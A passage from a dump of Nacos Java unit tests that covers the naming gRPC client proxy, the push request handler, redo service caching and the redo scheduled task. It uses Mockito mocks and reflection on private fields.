when(this.rpcClient.getConnectionAbility(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC)).thenReturn(\n                null);\n        assertFalse(client.isAbilitySupportedByServer(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC));\n        verify(this.rpcClient, times(1)).getConnectionAbility(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC);\n    }\n    \n    @Test\n    void testShutdown() throws Exception {\n        client.shutdown();\n        assertNull(RpcClientFactory.getClient(uuid));\n        //verify(this.rpcClient, times(1)).shutdown();\n    }\n    \n    @Test\n    void testShutdownWithException() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        Field field = RpcClientFactory.class.getDeclaredField(\"CLIENT_MAP\");\n        field.setAccessible(true);\n        Map<String, RpcClient> map = (Map<String, RpcClient>) field.get(RpcClientFactory.class);\n        RpcClient oldClient = map.get(uuid);\n        try {\n            oldClient.shutdown();\n        } catch (NacosException ignored) {\n        }\n        map.put(uuid, rpcClient);\n        doThrow(new NacosException()).when(rpcClient).shutdown();\n    }\n    \n    @Test\n    void testIsEnable() {\n        when(this.rpcClient.isRunning()).thenReturn(true);\n        assertTrue(client.isEnable());\n        verify(this.rpcClient, times(1)).isRunning();\n    }\n    \n    @Test\n    void testServerListChanged() throws Exception {\n        \n        RpcClient rpc = new RpcClient(new RpcClientConfig() {\n            @Override\n            public String name() {\n                return \"testServerListHasChanged\";\n            }\n            \n            @Override\n            public int retryTimes() {\n                return 3;\n            }\n            \n            @Override\n            public long timeOutMills() {\n                return 3000L;\n            }\n            \n            @Override\n            public long connectionKeepAlive() {\n                return 5000L;\n            }\n            \n            @Override\n            public int healthCheckRetryTimes() {\n                return 1;\n            }\n            \n            @Override\n            public long healthCheckTimeOut() {\n                return 3000L;\n            }\n            \n            @Override\n            public Map<String, String> labels() {\n                return new HashMap<>();\n            }\n        }, factory) {\n            @Override\n            public ConnectionType getConnectionType() {\n                return ConnectionType.GRPC;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n            \n            @Override\n            public Connection connectToServer(ServerInfo serverInfo) throws Exception {\n                return new Connection(serverInfo) {\n                    \n                    @Override\n                    public Response request(Request request, long timeoutMills) throws NacosException {\n                        Response response = new Response() {\n                        };\n                        response.setRequestId(request.getRequestId());\n                        return response;\n                    }\n                    \n                    @Override\n                    public RequestFuture requestFuture(Request request) throws NacosException {\n                        return new DefaultRequestFuture(\"test\", request.getRequestId());\n                    }\n                    \n                    @Override\n                    public void asyncRequest(Request request, RequestCallBack requestCallBack) throws NacosException {\n                    \n                    }\n                    \n                    @Override\n                    public void close() {\n                    }\n                };\n            }\n        };\n        Field rpcClient = NamingGrpcClientProxy.class.getDeclaredField(\"rpcClient\");\n        rpcClient.setAccessible(true);\n        rpcClient.set(client, rpc);\n        \n        rpc.serverListFactory(factory);\n        rpc.registerServerRequestHandler(new NamingPushRequestHandler(holder));\n        Field listenerField = NamingGrpcClientProxy.class.getDeclaredField(\"redoService\");\n        listenerField.setAccessible(true);\n        NamingGrpcRedoService listener = (NamingGrpcRedoService) listenerField.get(client);\n        rpc.registerConnectionListener(listener);\n        rpc.start();\n        int retry = 10;\n        while (!rpc.isRunning()) {\n            TimeUnit.MILLISECONDS.sleep(200);\n            if (--retry < 0) {\n                fail(\"rpc is not running\");\n            }\n        }\n        \n        assertEquals(ORIGIN_SERVER, rpc.getCurrentServer().getServerIp());\n        \n        String newServer = \"www.aliyun.com\";\n        when(factory.genNextServer()).thenReturn(newServer);\n        when(factory.getServerList()).thenReturn(Stream.of(newServer, \"anotherServer\").collect(Collectors.toList()));\n        NotifyCenter.publishEvent(new ServerListChangeEvent());\n        \n        retry = 10;\n        while (ORIGIN_SERVER.equals(rpc.getCurrentServer().getServerIp())) {\n            TimeUnit.MILLISECONDS.sleep(200);\n            if (--retry < 0) {\n                fail(\"failed to auth switch server\");\n            }\n        }\n        \n        assertEquals(newServer, rpc.getCurrentServer().getServerIp());\n    }\n    \n    @Test\n    void testConfigAppNameLabels() throws Exception {\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        client = new NamingGrpcClientProxy(NAMESPACE_ID, proxy, factory, nacosClientProperties, holder,\n                namingFuzzyWatchServiceListHolder);\n        Field rpcClientField = NamingGrpcClientProxy.class.getDeclaredField(\"rpcClient\");\n        rpcClientField.setAccessible(true);\n        RpcClient rpcClient = (RpcClient) rpcClientField.get(client);\n        Field clientConfig = GrpcClient.class.getDeclaredField(\"clientConfig\");\n        clientConfig.setAccessible(true);\n        GrpcClientConfig config = (GrpcClientConfig) clientConfig.get(rpcClient);\n        String appName = config.labels().get(Constants.APPNAME);\n        assertNotNull(appName);\n    }\n    \n    @Test\n    void testResponseCode403Exception() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n\n            when(this.rpcClient.request(Mockito.any())).thenReturn(ErrorResponse.build(403, \"Invalid signature\"));\n\n            try {\n                client.registerService(SERVICE_NAME, GROUP_NAME, instance);\n            } catch (NacosException ex) {\n                assertNull(ex.getCause());\n\n                throw ex;\n            }\n        });\n        assertTrue(exception.getMessage().contains(\"Invalid signature\"));\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/gprc/NamingPushRequestHandlerTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest;\nimport com.alibaba.nacos.api.naming.remote.response.NotifySubscriberResponse;\nimport com.alibaba.nacos.api.remote.request.HealthCheckRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\n\nimport com.alibaba.nacos.client.naming.remote.TestConnection;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\nclass NamingPushRequestHandlerTest {\n    \n    @Test\n    void testRequestReply() {\n        //given\n        ServiceInfoHolder holder = mock(ServiceInfoHolder.class);\n        NamingPushRequestHandler handler = new NamingPushRequestHandler(holder);\n        ServiceInfo info = new ServiceInfo(\"name\", \"cluster1\");\n        Request req = NotifySubscriberRequest.buildNotifySubscriberRequest(info);\n        //when\n        Response response = handler.requestReply(req, new TestConnection(new RpcClient.ServerInfo()));\n        //then\n        assertTrue(response instanceof NotifySubscriberResponse);\n        verify(holder, times(1)).processServiceInfo(info);\n    }\n    \n    @Test\n    void testRequestReplyOtherType() {\n        ServiceInfoHolder holder = mock(ServiceInfoHolder.class);\n    \n        NamingPushRequestHandler handler = new NamingPushRequestHandler(holder);\n        assertNull(handler.requestReply(new HealthCheckRequest(), new TestConnection(new RpcClient.ServerInfo())));\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/gprc/redo/NamingGrpcRedoServiceTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchServiceListHolder;\nimport com.alibaba.nacos.client.naming.remote.TestConnection;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.BatchInstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.InstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.SubscriberRedoData;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.utils.ReflectUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.concurrent.ConcurrentMap;\nimport java.util.concurrent.ScheduledExecutorService;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass NamingGrpcRedoServiceTest {\n    \n    private static final String SERVICE = \"service\";\n    \n    private static final String GROUP = \"group\";\n    \n    private static final String CLUSTER = \"cluster\";\n    \n    @Mock\n    private NamingGrpcClientProxy clientProxy;\n    \n    @Mock\n    private NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder;\n    \n    private NamingGrpcRedoService redoService;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        Properties prop = new Properties();\n        NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        redoService = new NamingGrpcRedoService(clientProxy, namingFuzzyWatchServiceListHolder, nacosClientProperties);\n        ScheduledExecutorService redoExecutor = (ScheduledExecutorService) ReflectUtils.getFieldValue(redoService,\n                \"redoExecutor\");\n        redoExecutor.shutdownNow();\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        redoService.shutdown();\n    }\n    \n    @Test\n    void testDefaultProperties() throws Exception {\n        Field redoThreadCountField = NamingGrpcRedoService.class.getDeclaredField(\"redoThreadCount\");\n        redoThreadCountField.setAccessible(true);\n        \n        Field redoDelayTimeField = NamingGrpcRedoService.class.getDeclaredField(\"redoDelayTime\");\n        redoDelayTimeField.setAccessible(true);\n        \n        Long redoDelayTimeValue = (Long) redoDelayTimeField.get(redoService);\n        Integer redoThreadCountValue = (Integer) redoThreadCountField.get(redoService);\n        \n        assertEquals(Long.valueOf(3000L), redoDelayTimeValue);\n        assertEquals(Integer.valueOf(1), redoThreadCountValue);\n    }\n    \n    @Test\n    void testCustomProperties() throws Exception {\n        Properties prop = new Properties();\n        prop.setProperty(PropertyKeyConst.REDO_DELAY_TIME, \"4000\");\n        prop.setProperty(PropertyKeyConst.REDO_DELAY_THREAD_COUNT, \"2\");\n        NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        \n        NamingGrpcRedoService redoService = new NamingGrpcRedoService(clientProxy, namingFuzzyWatchServiceListHolder, nacosClientProperties);\n        \n        Field redoThreadCountField = NamingGrpcRedoService.class.getDeclaredField(\"redoThreadCount\");\n        redoThreadCountField.setAccessible(true);\n        \n        Field redoDelayTimeField = NamingGrpcRedoService.class.getDeclaredField(\"redoDelayTime\");\n        redoDelayTimeField.setAccessible(true);\n        \n        Long redoDelayTimeValue = (Long) redoDelayTimeField.get(redoService);\n        Integer redoThreadCountValue = (Integer) redoThreadCountField.get(redoService);\n        assertEquals(Long.valueOf(4000L), redoDelayTimeValue);\n        assertEquals(Integer.valueOf(2), redoThreadCountValue);\n    }\n    \n    @Test\n    void testOnConnected() {\n        assertFalse(redoService.isConnected());\n        redoService.onConnected(new TestConnection(new RpcClient.ServerInfo()));\n        assertTrue(redoService.isConnected());\n    }\n    \n    @Test\n    void testOnDisConnect() {\n        redoService.onConnected(new TestConnection(new RpcClient.ServerInfo()));\n        redoService.cacheInstanceForRedo(SERVICE, GROUP, new Instance());\n        redoService.instanceRegistered(SERVICE, GROUP);\n        redoService.cacheSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n        redoService.subscriberRegistered(SERVICE, GROUP, CLUSTER);\n        assertTrue(redoService.isConnected());\n        assertTrue(redoService.findInstanceRedoData().isEmpty());\n        assertTrue(redoService.findSubscriberRedoData().isEmpty());\n        redoService.onDisConnect(new TestConnection(new RpcClient.ServerInfo()));\n        assertFalse(redoService.isConnected());\n        assertFalse(redoService.findInstanceRedoData().isEmpty());\n        assertFalse(redoService.findSubscriberRedoData().isEmpty());\n    }\n    \n    @Test\n    void testCacheInstanceForRedo() {\n        ConcurrentMap<String, InstanceRedoData> registeredInstances = getInstanceRedoDataMap();\n        assertTrue(registeredInstances.isEmpty());\n        Instance instance = new Instance();\n        redoService.cacheInstanceForRedo(SERVICE, GROUP, instance);\n        assertFalse(registeredInstances.isEmpty());\n        InstanceRedoData actual = registeredInstances.entrySet().iterator().next().getValue();\n        assertEquals(SERVICE, actual.getServiceName());\n        assertEquals(GROUP, actual.getGroupName());\n        assertEquals(instance, actual.get());\n        assertFalse(actual.isRegistered());\n        assertFalse(actual.isUnregistering());\n        assertTrue(actual.isExpectedRegistered());\n    }\n    \n    @Test\n    void testCacheInstanceForRedoByBatchInstanceRedoData() {\n        ConcurrentMap<String, InstanceRedoData> registeredInstances = getInstanceRedoDataMap();\n        assertTrue(registeredInstances.isEmpty());\n        Instance instance = new Instance();\n        List<Instance> instanceList = new ArrayList<>();\n        instanceList.add(instance);\n        redoService.cacheInstanceForRedo(SERVICE, GROUP, instanceList);\n        assertFalse(registeredInstances.isEmpty());\n        BatchInstanceRedoData actual = (BatchInstanceRedoData) registeredInstances.entrySet().iterator().next()\n                .getValue();\n        assertEquals(SERVICE, actual.getServiceName());\n        assertEquals(GROUP, actual.getGroupName());\n        assertEquals(instanceList, actual.getInstances());\n        assertFalse(actual.isRegistered());\n        assertFalse(actual.isUnregistering());\n    }\n    \n    @Test\n    void testInstanceRegistered() {\n        ConcurrentMap<String, InstanceRedoData> registeredInstances = getInstanceRedoDataMap();\n        redoService.cacheInstanceForRedo(SERVICE, GROUP, new Instance());\n        redoService.instanceRegistered(SERVICE, GROUP);\n        InstanceRedoData actual = registeredInstances.entrySet().iterator().next().getValue();\n        assertTrue(actual.isRegistered());\n    }\n    \n    @Test\n    void testInstanceDeregister() {\n        ConcurrentMap<String, InstanceRedoData> registeredInstances = getInstanceRedoDataMap();\n        redoService.cacheInstanceForRedo(SERVICE, GROUP, new Instance());\n        redoService.instanceDeregister(SERVICE, GROUP);\n        InstanceRedoData actual = registeredInstances.entrySet().iterator().next().getValue();\n        assertTrue(actual.isUnregistering());\n        assertFalse(actual.isExpectedRegistered());\n    }\n    \n    @Test\n    void testInstanceDeregistered() {\n        ConcurrentMap<String, InstanceRedoData> registeredInstances = getInstanceRedoDataMap();\n        redoService.cacheInstanceForRedo(SERVICE, GROUP, new Instance());\n        redoService.instanceDeregistered(SERVICE, GROUP);\n        InstanceRedoData actual = registeredInstances.entrySet().iterator().next().getValue();\n        assertFalse(actual.isRegistered());\n        assertTrue(actual.isUnregistering());\n    }\n    \n    @Test\n    void testRemoveInstanceForRedo() {\n        ConcurrentMap<String, InstanceRedoData> registeredInstances = getInstanceRedoDataMap();\n        assertTrue(registeredInstances.isEmpty());\n        redoService.cacheInstanceForRedo(SERVICE, GROUP, new Instance());\n        assertFalse(registeredInstances.isEmpty());\n        redoService.instanceDeregister(SERVICE, GROUP);\n        redoService.removeInstanceForRedo(SERVICE, GROUP);\n        assertTrue(registeredInstances.isEmpty());\n    }\n    \n    @Test\n    void testFindInstanceRedoData() {\n        redoService.cacheInstanceForRedo(SERVICE, GROUP, new Instance());\n        assertFalse(redoService.findInstanceRedoData().isEmpty());\n        redoService.instanceRegistered(SERVICE, GROUP);\n        assertTrue(redoService.findInstanceRedoData().isEmpty());\n        redoService.instanceDeregister(SERVICE, GROUP);\n        assertFalse(redoService.findInstanceRedoData().isEmpty());\n    }\n    \n    @SuppressWarnings(\"all\")\n    private ConcurrentMap<String, InstanceRedoData> getInstanceRedoDataMap() {\n        return (ConcurrentMap<String, InstanceRedoData>) ReflectUtils.getFieldValue(redoService, \"registeredInstances\");\n    }\n    \n    @Test\n    void testCacheSubscriberForRedo() {\n        ConcurrentMap<String, SubscriberRedoData> subscribes = getSubscriberRedoDataMap();\n        assertTrue(subscribes.isEmpty());\n        redoService.cacheSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n        assertFalse(subscribes.isEmpty());\n        SubscriberRedoData actual = subscribes.entrySet().iterator().next().getValue();\n        assertEquals(SERVICE, actual.getServiceName());\n        assertEquals(GROUP, actual.getGroupName());\n        assertEquals(CLUSTER, actual.get());\n        assertFalse(actual.isRegistered());\n        assertFalse(actual.isUnregistering());\n    }\n    \n    @Test\n    void testSubscriberRegistered() {\n        ConcurrentMap<String, SubscriberRedoData> subscribes = getSubscriberRedoDataMap();\n        redoService.cacheSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n        redoService.subscriberRegistered(SERVICE, GROUP, CLUSTER);\n        SubscriberRedoData actual = subscribes.entrySet().iterator().next().getValue();\n        assertTrue(actual.isRegistered());\n    }\n    \n    @Test\n    void testSubscriberDeregister() {\n        ConcurrentMap<String, SubscriberRedoData> subscribes = getSubscriberRedoDataMap();\n        redoService.cacheSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n        redoService.subscriberDeregister(SERVICE, GROUP, CLUSTER);\n        SubscriberRedoData actual = subscribes.entrySet().iterator().next().getValue();\n        assertTrue(actual.isUnregistering());\n    }\n    \n    @Test\n    void testIsSubscriberRegistered() {\n        assertFalse(redoService.isSubscriberRegistered(SERVICE, GROUP, CLUSTER));\n        redoService.cacheSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n        redoService.subscriberRegistered(SERVICE, GROUP, CLUSTER);\n        assertTrue(redoService.isSubscriberRegistered(SERVICE, GROUP, CLUSTER));\n    }\n    \n    @Test\n    void testRemoveSubscriberForRedo() {\n        ConcurrentMap<String, SubscriberRedoData> subscribes = getSubscriberRedoDataMap();\n        assertTrue(subscribes.isEmpty());\n        redoService.cacheSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n        assertFalse(subscribes.isEmpty());\n        redoService.subscriberDeregister(SERVICE, GROUP, CLUSTER);\n        redoService.removeSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n        assertTrue(subscribes.isEmpty());\n    }\n    \n    @Test\n    void testFindSubscriberRedoData() {\n        redoService.cacheSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n        assertFalse(redoService.findSubscriberRedoData().isEmpty());\n        redoService.subscriberRegistered(SERVICE, GROUP, CLUSTER);\n        assertTrue(redoService.findSubscriberRedoData().isEmpty());\n        redoService.subscriberDeregister(SERVICE, GROUP, CLUSTER);\n        assertFalse(redoService.findSubscriberRedoData().isEmpty());\n    }\n    \n    @SuppressWarnings(\"all\")\n    private ConcurrentMap<String, SubscriberRedoData> getSubscriberRedoDataMap() {\n        return (ConcurrentMap<String, SubscriberRedoData>) ReflectUtils.getFieldValue(redoService, \"subscribes\");\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/gprc/redo/RedoScheduledTaskTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.BatchInstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.InstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.SubscriberRedoData;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo  remove strictness lenient\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass RedoScheduledTaskTest {\n    \n    private static final String SERVICE = \"service\";\n    \n    private static final String GROUP = \"group\";\n    \n    private static final String CLUSTER = \"cluster\";\n    \n    private static final Instance INSTANCE = new Instance();\n    \n    @Mock\n    private NamingGrpcClientProxy clientProxy;\n    \n    @Mock\n    private NamingGrpcRedoService redoService;\n    \n    private RedoScheduledTask redoTask;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        redoTask = new RedoScheduledTask(clientProxy, redoService);\n        when(clientProxy.isEnable()).thenReturn(true);\n        when(redoService.isConnected()).thenReturn(true);\n    }\n    \n    @Test\n    void testRunRedoRegisterInstance() throws NacosException {\n        Set<InstanceRedoData> mockData = generateMockInstanceData(false, false, true);\n        when(redoService.findInstanceRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy).doRegisterService(SERVICE, GROUP, INSTANCE);\n    }\n    \n    @Test\n    void testRunRedoRegisterBatchInstance() throws NacosException {\n        BatchInstanceRedoData redoData = BatchInstanceRedoData.build(SERVICE, GROUP,\n                Collections.singletonList(INSTANCE));\n        redoData.setRegistered(false);\n        redoData.setUnregistering(false);\n        redoData.setExpectedRegistered(true);\n        Set<InstanceRedoData> mockData = new HashSet<>();\n        mockData.add(redoData);\n        when(redoService.findInstanceRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy).doBatchRegisterService(SERVICE, GROUP, redoData.getInstances());\n    }\n    \n    @Test\n    void testRunRedoDeregisterInstance() throws NacosException {\n        Set<InstanceRedoData> mockData = generateMockInstanceData(true, true, false);\n        when(redoService.findInstanceRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy).doDeregisterService(SERVICE, GROUP, INSTANCE);\n    }\n    \n    @Test\n    void testRunRedoRemoveInstanceRedoData() throws NacosException {\n        Set<InstanceRedoData> mockData = generateMockInstanceData(false, true, false);\n        when(redoService.findInstanceRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(redoService).removeInstanceForRedo(SERVICE, GROUP);\n    }\n    \n    @Test\n    void testRunRedoRegisterInstanceWithClientDisabled() throws NacosException {\n        when(clientProxy.isEnable()).thenReturn(false);\n        Set<InstanceRedoData> mockData = generateMockInstanceData(false, false, true);\n        when(redoService.findInstanceRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy, never()).doRegisterService(SERVICE, GROUP, INSTANCE);\n    }\n    \n    @Test\n    void testRunRedoDeregisterInstanceWithClientDisabled() throws NacosException {\n        when(clientProxy.isEnable()).thenReturn(false);\n        Set<InstanceRedoData> mockData = generateMockInstanceData(true, true, false);\n        when(redoService.findInstanceRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy, never()).doRegisterService(SERVICE, GROUP, INSTANCE);\n    }\n    \n    @Test\n    void testRunRedoRegisterInstanceWithNacosException() throws NacosException {\n        Set<InstanceRedoData> mockData = generateMockInstanceData(false, false, true);\n        when(redoService.findInstanceRedoData()).thenReturn(mockData);\n        doThrow(new NacosException()).when(clientProxy).doRegisterService(SERVICE, GROUP, INSTANCE);\n        redoTask.run();\n        // Not any exception thrown\n    }\n    \n    @Test\n    void testRunRedoRegisterInstanceWithOtherException() throws NacosException {\n        Set<InstanceRedoData> mockData = generateMockInstanceData(false, false, true);\n        when(redoService.findInstanceRedoData()).thenReturn(mockData);\n        doThrow(new RuntimeException(\"test\")).when(clientProxy).doRegisterService(SERVICE, GROUP, INSTANCE);\n        redoTask.run();\n        // Not any exception thrown\n    }\n    \n    private Set<InstanceRedoData> generateMockInstanceData(boolean registered, boolean unregistering,\n            boolean expectedRegistered) {\n        InstanceRedoData redoData = InstanceRedoData.build(SERVICE, GROUP, INSTANCE);\n        redoData.setRegistered(registered);\n        redoData.setUnregistering(unregistering);\n        redoData.setExpectedRegistered(expectedRegistered);\n        Set<InstanceRedoData> result = new HashSet<>();\n        result.add(redoData);\n        return result;\n    }\n    \n    @Test\n    void testRunRedoRegisterSubscriber() throws NacosException {\n        Set<SubscriberRedoData> mockData = generateMockSubscriberData(false, false, true);\n        when(redoService.findSubscriberRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy).doSubscribe(SERVICE, GROUP, CLUSTER);\n    }\n    \n    @Test\n    void testRunRedoDeregisterSubscriber() throws NacosException {\n        Set<SubscriberRedoData> mockData = generateMockSubscriberData(true, true, false);\n        when(redoService.findSubscriberRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy).doUnsubscribe(SERVICE, GROUP, CLUSTER);\n    }\n    \n    @Test\n    void testRunRedoRemoveSubscriberRedoData() throws NacosException {\n        Set<SubscriberRedoData> mockData = generateMockSubscriberData(false, true, false);\n        when(redoService.findSubscriberRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(redoService).removeSubscriberForRedo(SERVICE, GROUP, CLUSTER);\n    }\n    \n    @Test\n    void testRunRedoRegisterSubscriberWithClientDisabled() throws NacosException {\n        when(clientProxy.isEnable()).thenReturn(false);\n        Set<SubscriberRedoData> mockData = generateMockSubscriberData(false, false, true);\n        when(redoService.findSubscriberRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy, never()).doSubscribe(SERVICE, GROUP, CLUSTER);\n    }\n    \n    @Test\n    void testRunRedoDeRegisterSubscriberWithClientDisabled() throws NacosException {\n        when(clientProxy.isEnable()).thenReturn(false);\n        Set<SubscriberRedoData> mockData = generateMockSubscriberData(true, true, false);\n        when(redoService.findSubscriberRedoData()).thenReturn(mockData);\n        redoTask.run();\n        verify(clientProxy, never()).doUnsubscribe(SERVICE, GROUP, CLUSTER);\n    }\n    \n    @Test\n    void testRunRedoRegisterSubscriberWithNacosException() throws NacosException {\n        Set<SubscriberRedoData> mockData = generateMockSubscriberData(false, false, true);\n        when(redoService.findSubscriberRedoData()).thenReturn(mockData);\n        doThrow(new NacosException()).when(clientProxy).doSubscribe(SERVICE, GROUP, CLUSTER);\n        redoTask.run();\n        // Not any exception thrown\n    }\n    \n    private Set<SubscriberRedoData> generateMockSubscriberData(boolean registered, boolean unregistering,\n            boolean expectedRegistered) {\n        SubscriberRedoData redoData = SubscriberRedoData.build(SERVICE, GROUP, CLUSTER);\n        redoData.setRegistered(registered);\n        redoData.setUnregistering(unregistering);\n        redoData.setExpectedRegistered(expectedRegistered);\n        Set<SubscriberRedoData> result = new HashSet<>();\n        result.add(redoData);\n        return result;\n    }\n    \n    @Test\n    void testRunRedoWithDisconnection() {\n        when(redoService.isConnected()).thenReturn(false);\n        redoTask.run();\n        verify(redoService, never()).findInstanceRedoData();\n        verify(redoService, never()).findSubscriberRedoData();\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/gprc/redo/data/BatchInstanceRedoDataTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo.data;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\n\nclass BatchInstanceRedoDataTest {\n    \n    @Test\n    @SuppressWarnings(\"all\")\n    void testEquals() {\n        BatchInstanceRedoData redoData1 = new BatchInstanceRedoData(\"a\", \"b\");\n        redoData1.setInstances(Collections.singletonList(new Instance()));\n        BatchInstanceRedoData redoData2 = new BatchInstanceRedoData(\"a\", \"b\");\n        redoData2.setInstances(Collections.singletonList(new Instance()));\n        assertEquals(redoData1, redoData1);\n        assertEquals(redoData1, redoData2);\n        redoData2.getInstances().get(0).setIp(\"1.1.1.1\");\n        assertNotEquals(null, redoData1);\n        